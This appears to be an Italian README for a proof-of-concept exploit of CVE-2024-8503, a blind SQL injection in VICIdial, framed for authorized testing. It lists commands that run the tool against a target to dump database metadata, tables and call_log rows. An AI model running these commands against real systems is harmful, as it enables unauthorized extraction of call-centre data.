
PoC di blind SQL injection basata sul tempo senza autenticazione per VICIdial CVE-2024-8503, con estrazione dei metadati, scansioni riprendibili e rigorosi limiti di sicurezza.
Proof of concept di SQL injection blind basata sul tempo non autenticata per l'endpoint VERM_AJAX_functions.php di VICIdial (CVE-2024-8503). Il progetto è destinato esclusivamente a test di sicurezza autorizzati, validazione e formazione.
CVE-2024-8503 è una SQL injection non autenticata in VICIdial in cui un valore username Basic Auth appositamente modificato può raggiungere la logica di query vulnerabile in VERM_AJAX_functions.php. Questa PoC utilizza l'inferenza basata sul tempo per confermare la sfruttabilità ed estrarre metadati e dati di tabella limitati in modo controllato.
Questa release impone limiti rigorosi per il proof-of-concept:
requestsInstalla le dipendenze:
pip install requests
Esegui l'autoverifica locale per confermare la configurazione senza effettuare richieste di rete:
python3 CVE-2024-8503-POC.py --self-check
Esegui una scansione di base non interattiva:
python3 CVE-2024-8503-POC.py --url https://target.tld
La modalità interattiva è un flusso di lavoro separato per test guidati dall'operatore. È utile quando si vogliono eseguire manualmente le attività di estrazione passo dopo passo invece di lanciare un singolo comando.
python3 CVE-2024-8503-POC.py --url https://target.tld --interactive
Il menu interattivo supporta l'estrazione di metadati, la scoperta di tabelle e colonne, l'estrazione manuale, l'estrazione automatica, query personalizzate e scansioni complete ripristinabili.
Usa questi comandi quando vuoi eseguire un'attività specifica senza entrare nel menu interattivo.
Estrai metadati:
python3 CVE-2024-8503-POC.py --url https://target.tld --metadata db_version database db_user
Elenca le tabelle:
python3 CVE-2024-8503-POC.py --url https://target.tld --list-tables
Ottieni le colonne di una tabella:
python3 CVE-2024-8503-POC.py --url https://target.tld --get-columns call_log
Estrai colonne specifiche:
python3 CVE-2024-8503-POC.py --url https://target.tld --table call_log --columns uniqueid,channel --rows 3
Estrai automaticamente i dati di una tabella:
python3 CVE-2024-8503-POC.py --url https://target.tld --auto-extract call_log
Scansione completa:
python3 CVE-2024-8503-POC.py --url https://target.tld --full-scan
Query personalizzata (solo SELECT):
python3 CVE-2024-8503-POC.py --url https://target.tld --custom-query "SELECT DATABASE()"
Flag opzionali:
--path per cambiare il percorso dell'endpoint (default: /VERM/VERM_AJAX_functions.php)--skip-vuln-check per saltare la sonda di conferma iniziale--export per salvare i risultati (JSON per metadati/scansione completa, CSV per i dati delle tabelle)L'avanzamento viene salvato automaticamente in:
.vicidial_scan_state.json
Se viene rilevata una scansione precedente, lo script offrirà di riprendere o cancellare lo stato.
LICENSE corrispondente dovrebbe essere aggiunto alla radice del repository; questo README presuppone MIT.Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato a sistemi informatici è illegale. È necessario ottenere un permesso scritto esplicito prima di testare qualsiasi sistema di cui non si è proprietari. L'autore non si assume alcuna responsabilità per usi impropri o danni causati da questo strumento.
Questo progetto è concesso in licenza sotto la MIT License. Consulta il file LICENSE a livello di repository per i dettagli.